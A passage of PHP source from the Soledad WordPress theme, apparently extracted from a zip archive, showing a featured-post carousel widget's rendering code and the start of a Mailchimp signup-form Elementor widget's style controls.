		$args['paged'] = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );
		if ( $original_postype == 'current_query' ) {
			$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			$ppp    = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
			$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			$offset = 0;
			if ( $ppp ) {
				$args['posts_per_page'] = $ppp;
			}
			if ( $settings['arposts_new'] == 'yes' ) {
				$args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$args['offset'] = $offset;
			}
		}
		$pc_fwhro_query = new \WP_Query( $args );
		$first          = 0;
		$total_post     = $pc_fwhro_query->post_count;

		// style
		$slider           = false;
		$main_thumb_size  = $settings['main_thumb_size'] ? $settings['main_thumb_size'] : 'penci-single-full';
		$main_mthumb_size = $settings['main_mthumb_size'] ? $settings['main_mthumb_size'] : 'penci-masonry-thumb';
		$thumb_size       = $settings['thumb_size'] ? $settings['thumb_size'] : 'penci-thumb';
		$mthumb_size      = $settings['mthumb_size'] ? $settings['mthumb_size'] : 'penci-thumb';
		$post_meta        = $settings['post_meta'] ? $settings['post_meta'] : array();
		$primary_cat      = $settings['primary_cat'] ? $settings['primary_cat'] : '';
		$title_length     = $settings['title_length'] ? $settings['title_length'] : '';
		$title_blength    = $settings['title_blength'] ? $settings['title_blength'] : $title_length;
		$mobile_column    = isset( $settings['mb_column'] ) && $settings['mb_column'] ? $settings['mb_column'] : 1;
		$tablet_column    = isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : 2;

		if ( $total_post - 1 > $settings['column'] ) {
			$slider = true;
		}

		$thumbnail      = $thumb_size;
		$main_thumbnail = $main_thumb_size;
		if ( penci_is_mobile() ) {
			$thumbnail      = $mthumb_size;
			$main_thumbnail = $main_mthumb_size;
		}

		$data_slider       = '';
		$data_slider_class = '';
		if ( $slider ) {
			$data_slider_class = ' penci-owl-carousel penci-owl-carousel-slider';
			$data_slider       .= $settings['showdots'] ? ' data-dots="true"' : '';
			$data_slider       .= 'yes' == $settings['shownav'] ? ' data-nav="false"' : ' data-nav="true"';
			$data_slider       .= ! $settings['loop'] ? ' data-loop="true"' : '';
			$data_slider       .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
			$data_slider       .= $settings['auto_time'] ? ' data-autotime="' . $settings['auto_time'] . '"' : ' data-autotime="4000"';
			$data_slider       .= $settings['speed'] ? ' data-speed="' . $settings['speed'] . '"' : ' data-speed="600"';

			$data_slider .= ' data-item="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '"';
			$data_slider .= ' data-desktop="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '" ';
			$data_slider .= ' data-tablet="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
			$data_slider .= ' data-tabsmall="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
			$data_slider .= ' data-mobile="' . ( isset( $settings['mb_column'] ) && $settings['mb_column'] ? $settings['mb_column'] : '1' ) . '"';
			$data_slider .= ' data-ceffect="' . $settings['carousel_slider_effect'] . '"';
		}

		if ( $pc_fwhro_query->have_posts() ) {
			?>
            <div class="pc-fho">
				<?php $this->markup_block_title( $settings, $this ); ?>
                <div class="pc-fho-wrap">
                    <div class="pc-fho-bg-wrap">
                        <div class="pc-fho-container">
							<?php while ( $pc_fwhro_query->have_posts() ) : $pc_fwhro_query->the_post(); ?>
                                <div class="pc-fho-mp pc-fho-content penci-lazy"
                                     data-bgset="<?php echo penci_get_featured_image_size( get_the_ID(), $main_thumbnail ); ?>">
                                    <div class="pc-fho-mpct">
										<?php if ( 'yes' != $settings['show_bicon'] ) { ?>
                                            <div class="pc-fho-mi">
                                                <div class="pc-fho-mi-i">
													<?php if ( has_post_format( 'video' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'penciicon-gallery' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'audio' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'link' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'quote' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
													<?php endif; ?>
													<?php if ( ! get_post_format() ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'penciicon-newspaper' ); ?></a>
													<?php endif; ?>
                                                </div>
                                            </div>
										<?php } ?>
                                        <div class="pc-fho-mc<?php if ( 'yes' == $settings['show_bicon'] ) {
											echo ' bct-fullwidth';
										} ?>">
											<?php if ( in_array( 'cat', $post_meta ) ) : ?>
                                                <div class="cat pc-fho-main-cat pc-fho-cat">
													<?php penci_category( '', $primary_cat ); ?>
                                                </div>
											<?php endif; ?>
                                            <div class="pc-fho-mt">
                                                <h3>
                                                    <a href="<?php the_permalink(); ?>">
														<?php if ( ! $title_blength ) {
															the_title();
														} else {
															echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_blength, '...' );
														} ?>
                                                    </a>
                                                </h3>
                                            </div>
											<?php if ( count( array_intersect( array(
													'author',
													'date',
													'comment',
													'views',
													'reading'
												), $post_meta ) ) > 0 ) { ?>
                                                <div class="grid-post-box-meta pc-fho-mm">
													<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                        <span class="pfw-date-author author-italic">
												<?php echo penci_get_setting( 'penci_trans_by' ); ?> <a class="url fn n"
                                                                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
											</span>
													<?php endif; ?>
													<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                                        <span class="pfw-date"><?php penci_soledad_time_link(); ?></span>
													<?php endif; ?>
													<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                        <span class="pfw-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
													<?php endif; ?>
													<?php
													if ( in_array( 'views', $post_meta ) ) {
														echo '<span class="pfw-views">';
														echo penci_get_post_views( get_the_ID() );
														echo ' ' . penci_get_setting( 'penci_trans_countviews' );
														echo '</span>';
													}
													?>
													<?php
													$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
													if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                        <span class="pfw-readtime"><?php penci_reading_time(); ?></span>
													<?php endif; ?>
													<?php do_action( 'penci_extra_meta' ); ?>
                                                </div>
											<?php } ?>
                                        </div>
                                    </div>
                                    <a href="<?php the_permalink(); ?>" class="mp-link penci-lazy"
                                       data-bgset="<?php echo penci_get_featured_image_size( get_the_ID(), $main_thumbnail ); ?>"><?php the_title(); ?></a>
                                </div>
								<?php
								if ( $first ++ == 0 ) {
									break;
								}
							endwhile; ?>
                            <div class="pc-fho-msli-wrapper">
                                <div class="pc-fho-msli pc-fho-content tablet-columns-<?php echo $tablet_column; ?> mobile-columns-<?php echo $mobile_column; ?> columns-<?php echo $settings['column']; ?>">
                                    <div class="pc-fho-msli-inner-ct swiper <?php echo $data_slider_class; ?>" <?php echo $data_slider; ?>>
                                        <div class="swiper-wrapper">
											<?php while ( $pc_fwhro_query->have_posts() ) : $pc_fwhro_query->the_post(); ?>
                                                <div class="pc-fho-li swiper-slide">
                                                    <div class="pc-fho-li-ct-inner-wrap">
                                                        <div class="pc-fho-list-img pcbg-thumb">
															<?php
															do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
															/* Display Review Piechart  */
															if ( 'yes' == $settings['show_reviewpie'] && function_exists( 'penci_display_piechart_review_html' ) ) {
																penci_display_piechart_review_html( get_the_ID(), 'small' );
															}
															?>
															<?php if ( 'yes' == $settings['show_formaticon'] ): ?>
																<?php if ( has_post_format( 'video' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'penciicon-gallery' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'audio' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'link' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'quote' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
																<?php endif; ?>
															<?php endif; ?>
															<?php if ( 'yes' != $settings['disable_lazy'] ) { ?>
                                                                <a href="<?php the_permalink(); ?>"
                                                                   class="penci-image-holder penci-lazy"
                                                                   data-bgset="<?php echo penci_get_featured_image_size( get_the_ID(), $thumbnail ); ?>">
                                                                    <span class="pc-fho-slolay"></span>
                                                                </a>
															<?php } else { ?>
                                                                <a href="<?php the_permalink(); ?>"
                                                                   class="penci-image-holder"
                                                                   style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbnail ); ?>');<?php if ( 'yes' == $settings['nocrop'] ) {
																	   echo 'padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%';
																   } ?>">
                                                                    <span class="pc-fho-slolay"></span>
                                                                </a>
															<?php } ?>
                                                        </div>
                                                        <div class="pc-fho-li-ct-wrap">
															<?php if ( in_array( 'cat', $post_meta ) ) : ?>
                                                                <div class="cat pc-fho-list-cat pc-fho-cat">
																	<?php penci_category( '', $primary_cat ); ?>
                                                                </div>
															<?php endif; ?>
                                                            <div class="pc-fho-lt">
                                                                <h3>
                                                                    <a href="<?php the_permalink(); ?>"><?php if ( ! $title_length ) {
																			the_title();
																		} else {
																			echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
																		} ?></a></h3>
                                                            </div>
															<?php if ( count( array_intersect( array(
																	'author',
																	'date',
																	'comment',
																	'views',
																	'reading'
																), $post_meta ) ) > 0 ) { ?>
                                                                <div class="grid-post-box-meta pc-fho-lm">
																	<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                                        <span class="pfw-date-author author-italic">
												<?php echo penci_get_setting( 'penci_trans_by' ); ?> <a class="url fn n"
                                                                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
											</span>
																	<?php endif; ?>
																	<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                                                        <span class="pfw-date"><?php penci_soledad_time_link(); ?></span>
																	<?php endif; ?>
																	<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                                        <span class="pfw-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
																	<?php endif; ?>
																	<?php
																	if ( in_array( 'views', $post_meta ) ) {
																		echo '<span class="pfw-views">';
																		echo penci_get_post_views( get_the_ID() );
																		echo ' ' . penci_get_setting( 'penci_trans_countviews' );
																		echo '</span>';
																	}
																	?>
																	<?php
																	$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
																	if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                                        <span class="pfw-readtime"><?php penci_reading_time(); ?></span>
																	<?php endif; ?>
																	<?php do_action( 'penci_extra_meta' ); ?>
                                                                </div>
															<?php } ?>
                                                        </div>
                                                    </div>
                                                </div>
											<?php endwhile;
											wp_reset_postdata(); ?>
                                        </div>
                                    </div>
                                </div>
                            </div><!--.pc-fho-msli-->
                        </div>
                    </div>
                </div>
            </div>
			<?php
		}
	}
}
PK     N\%    1  inc/elementor/modules/penci-mail-chimp/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciMailChimp;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-mail-chimp';
	}

	public function get_widgets() {
		return array( 'PenciMailChimp' );
	}
}
PK     N\HS*Y  *Y  C  inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciMailChimp\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciMailChimp extends Base_Widget {

	public function get_name() {
		return 'penci-mail-chimp';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Mailchimp', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'mail', 'chimp' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section(
			'section_page', array(
				'label' => esc_html__( 'Mailchimp', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'note_important', array(
				'type'            => Controls_Manager::RAW_HTML,
				'raw'             => sprintf( __( 'Please set up the Mailchimp SignUp Form first by following <a href="%s" target="_blank">this guide</a>.', 'soledad' ), 'https://soledad.pencidesign.net/soledad-document/#setup_mailchimp' ),
				'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
			)
		);

		if ( function_exists( 'mc4wp_get_forms' ) ) {
			$forms              = mc4wp_get_forms();
			$mc4wp_premium_form = [];
			foreach ( $forms as $form ) {
				$mc4wp_premium_form[ $form->ID ] = $form->name . ' - ID: ' . $form->ID;
			}

			$this->add_control(
				'mailchimp_pre_form', array(
					'label'   => __( 'Select Mailchimp Form', 'soledad' ),
					'type'    => Controls_Manager::SELECT,
					'default' => 's1',
					'options' => $mc4wp_premium_form
				)
			);
		}

		$this->add_control(
			'mailchimp_style', array(
				'label'   => __( 'Select Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1'  => esc_html__( 'Style 1 - Default', 'soledad' ),
					's2'  => esc_html__( 'Style 2 - Boxed One Line', 'soledad' ),
					's3'  => esc_html__( 'Style 3 - Background', 'soledad' ),
					's4'  => esc_html__( 'Style 4 - Briefness', 'soledad' ),
					's5'  => esc_html__( 'Style 5', 'soledad' ),
					's6'  => esc_html__( 'Style 6', 'soledad' ),
					's7'  => esc_html__( 'Style 7', 'soledad' ),
					's8'  => esc_html__( 'Style 8', 'soledad' ),
					's9'  => esc_html__( 'Style 9', 'soledad' ),
					's10' => esc_html__( 'Style 10', 'soledad' ),
					's11' => esc_html__( 'Style 11', 'soledad' ),
					's12' => esc_html__( 'Style 12', 'soledad' ),
					's13' => esc_html__( 'Style 13', 'soledad' ),
					's14' => esc_html__( 'Style 14', 'soledad' ),
					's15' => esc_html__( 'Style 15', 'soledad' ),
				)
			)
		);

		$this->add_responsive_control(
			'mailchimp_icon_padding', array(
				'label'      => __( 'Background Area', 'soledad' ),
				'size_units' => [ 'px', '%' ],
				'type'       => Controls_Manager::SLIDER,
				'range'      => [
					'px' => [
						'min'  => 0,
						'max'  => 2000,
						'step' => 1,
					],
					'%'  => [
						'min' => 0,
						'max' => 100,
					],
				],
				'condition'  => array( 'mailchimp_style' => array( 's11', 's12', 's13', 's14' ) ),
				'selectors'  => array( '{{WRAPPER}} .penci-mailchimp-block .widget_mc4wp_form_widget:before' => 'padding-top: 0;padding-bottom: 0; height: {{SIZE}}px;' ),
			)
		);

		$this->add_responsive_control(
			'mailchimp_icon_size', array(
				'label'      => __( 'Background Image Size', 'soledad' ),
				'size_units' => [ 'px', '%' ],
				'type'       => Controls_Manager::SLIDER,
				'range'      => [
					'px' => [
						'min'  => 0,
						'max'  => 2000,
						'step' => 1,
					],
					'%'  => [
						'min' => 0,
						'max' => 100,
					],
				],
				'condition'  => array( 'mailchimp_style' => array( 's11', 's12', 's13', 's14' ) ),
				'selectors'  => array( '{{WRAPPER}} .penci-mailchimp-block .widget_mc4wp_form_widget:before' => 'background-size: {{SIZE}}px auto' ),
			)
		);

		$this->add_control(
			'hide_desc', array(
				'label'     => __( 'Hide Description Text?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-mailchimp-block .mdes' => 'display: none;',
				),
				'condition' => array( 'mailchimp_style!' => array( 's4' ) ),
			)
		);

		$this->add_control(
			'hide_name', array(
				'label'     => __( 'Hide Name Field?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-mailchimp-block .mname' => 'display: none;',
				),
				'condition' => array( 'mailchimp_style' => array( 's1', 's2' ) ),
			)
		);

		$this->add_responsive_control(
			'content_w', array(
				'label'      => __( 'Content width', 'soledad' ),
				'size_units' => [ 'px', '%' ],
				'type'       => Controls_Manager::SLIDER,
				'range'      => [
					'px' => [
						'min'  => 0,
						'max'  => 2000,
						'step' => 1,
					],
					'%'  => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors'  => array( '{{WRAPPER}} .penci-mailchimp-block' => 'max-width: {{SIZE}}px;width:100%;' ),
			)
		);

		$this->add_control( 'content_alignment', array(
			'label'                => __( 'Content Alignment', 'soledad' ),
			'description'          => __( 'Applies changes when you set a width for the form', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-h-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-h-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-h-align-right',
				),
			),
			'default'              => 'center',
			'selectors'            => array(
				'{{WRAPPER}} .penci-mailchimp-block' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto',
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section(
			'spacing_section', array(
				'label' => esc_html__( 'Elements Spacing', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_responsive_control( 'form_padding', array(
			'label'      => __( 'Content Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-mailchimp-s2 .penci-header-signup-form, {{WRAPPER}} .penci-mailchimp-s3 .footer-subscribe' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .mc4wp-form-fields'                                                                               => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array( 'mailchimp_style' => array( 's2', 's3', 's11', 's12', 's13', 's14' ) ),
		) );

		$this->add_responsive_control(
			'mc4wp_formbot', array(
				'label'     => __( 'Sign Up Form Spacing Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array( '{{WRAPPER}} .mc4wp-form' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		$this->add_responsive_control(
			'mc4wp_spacebet', array(
				'label'     => __( 'Horizontal Spacing Between Fields', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-mailchimp-s4 .mc4wp-form-fields'                                                                                                                                 => 'margin-left: -{{SIZE}}px;margin-right: -{{SIZE}}px;',
					'{{WRAPPER}} .penci-mailchimp-s4 .mc4wp-form-fields .mname, {{WRAPPER}} .penci-mailchimp-s4 .mc4wp-form-fields .memail, {{WRAPPER}} .penci-mailchimp-s4 .mc4wp-form-fields .msubmit' => 'padding-left: {{SIZE}}px;padding-right: {{SIZE}}px;'
				),
				'condition' => array( 'mailchimp_style' => array( 's4' ) ),
			)
		);

		$this->add_responsive_control(
			'mc4wp_des_martop', array(
				'label'     => __( 'Description Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array( '{{WRAPPER}} .mc4wp-form .mdes' => 'margin-top: {{SIZE}}px' ),
				'condition' => array( 'mailchimp_style' => array( 's1', 's3' ) ),
			)
		);
		$this->add_responsive_control(
			'mc4wp_des_marbt', array(
				'label'     => __( 'Description Spaing Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array( '{{WRAPPER}} .mc4wp-form .mdes' => 'margin-bottom: {{SIZE}}px' ),
				'condition' => array( 'mailchimp_style' => array( 's1', 's3' ) ),
			)
		);

		$this->add_responsive_control(
			'mc4wp_namebot', array(
				'label'     => __( 'Name Field Spaing Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array( '{{WRAPPER}} .mc4wp-form .mname' => 'margin-bottom: {{SIZE}}px' ),
				'condition' => array( 'mailchimp_style' => array( 's1' ) ),
			)
		);

		$this->add_responsive_control(
			'mc4wp_emailbot', array(
				'label'     => __( 'Email Field Spaing Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array( '{{WRAPPER}} .mc4wp-form .memail' => 'margin-bottom: {{SIZE}}px' ),
				'condition' => array( 'mailchimp_style' => array( 's1' ) ),
			)
		);

		$this->add_responsive_control(
			'mc4wp_buttonbot', array(
				'label'     => __( 'Submit Button Spaing Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'selectors' => array( '{{WRAPPER}} .mc4wp-form .msubmit' => 'margin-bottom: {{SIZE}}px' ),
				'condition' => array( 'mailchimp_style' => array( 's1' ) ),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section(
			'section_mailchimp_style',
			array(
				'label' => __( 'Mailchimp', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'gener_heading', array(
				'label'     => __( 'General Style', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => array( 'mailchimp_style!' => array( 's1', 's2', 's3', 's4' ) ),
			)
		);

		$this->add_control(
			'general_border_color', array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'mailchimp_style!' => array( 's1', 's2', 's3', 's4' ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-mailchimp-s6 .widget_mc4wp_form_widget'        => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s5 .widget_mc4wp_form_widget'        => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s7 .widget_mc4wp_form_widget'        => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s8 .widget_mc4wp_form_widget'        => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s9 .widget_mc4wp_form_widget'        => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s10 .widget_mc4wp_form_widget'       => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s11 .widget_mc4wp_form_widget'       => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s12 .widget_mc4wp_form_widget'       => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s13 .widget_mc4wp_form_widget'       => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s14 .widget_mc4wp_form_widget'       => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s15 .widget_mc4wp_form_widget'       => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s7 .widget_mc4wp_form_widget:before' => 'background-color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'general_border_top_color', array(
				'label'     => __( 'Border Top Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'mailchimp_style' => array( 's8' ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-mailchimp-s8 .widget_mc4wp_form_widget' => 'border-top-color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'general_bg_color', array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'mailchimp_style!' => array( 's1', 's2', 's3', 's4' ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-mailchimp-s5 .widget_mc4wp_form_widget'  => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s6 .widget_mc4wp_form_widget'  => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s7 .widget_mc4wp_form_widget'  => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s8 .widget_mc4wp_form_widget'  => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s9 .widget_mc4wp_form_widget'  => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s10 .widget_mc4wp_form_widget' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s11 .widget_mc4wp_form_widget' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s12 .widget_mc4wp_form_widget' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s13 .widget_mc4wp_form_widget' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s14 .widget_mc4wp_form_widget' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-mailchimp-s15 .widget_mc4wp_form_widget' => 'background-color: {{VALUE}};',
				),
			)
		);

		$this->add_responsive_control(
			'mc4wp_inputh', array(
				'label'     => __( 'Custom Fields Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array( '{{WRAPPER}} .penci-mailchimp-block' => '--pcmc-height: {{SIZE}}px' ),
			)
		);

		$this->add_responsive_control(
			'mc4wp_borderw', array(
				'label'     => __( 'Custom Borders Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 10 ) ),
				'selectors' => array( '{{WRAPPER}} .penci-mailchimp-block' => '--pcmc-bdw: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'mc4wp_bg_color', array(
				'label'     => __( 'Background color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'mailchimp_style' => array( 's2', 's3' ) ),
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .footer-subscribe,' .
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-header-signup-form' => 'background-color: {{VALUE}};',
				),

			)
		);

		$this->add_control(
			'tweets_desc_headings',
			array(
				'label'     => __( 'Description Text', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'mc4wp_des_width', array(
				'label'     => __( 'Description Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000 ) ),
				'selectors' => array( '{{WRAPPER}} .mc4wp-form .mdes' => 'max-width: {{SIZE}}px;width:100%;display: inline-block' ),
			)
		);

		$this->add_control(
			'mc4wp_des_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
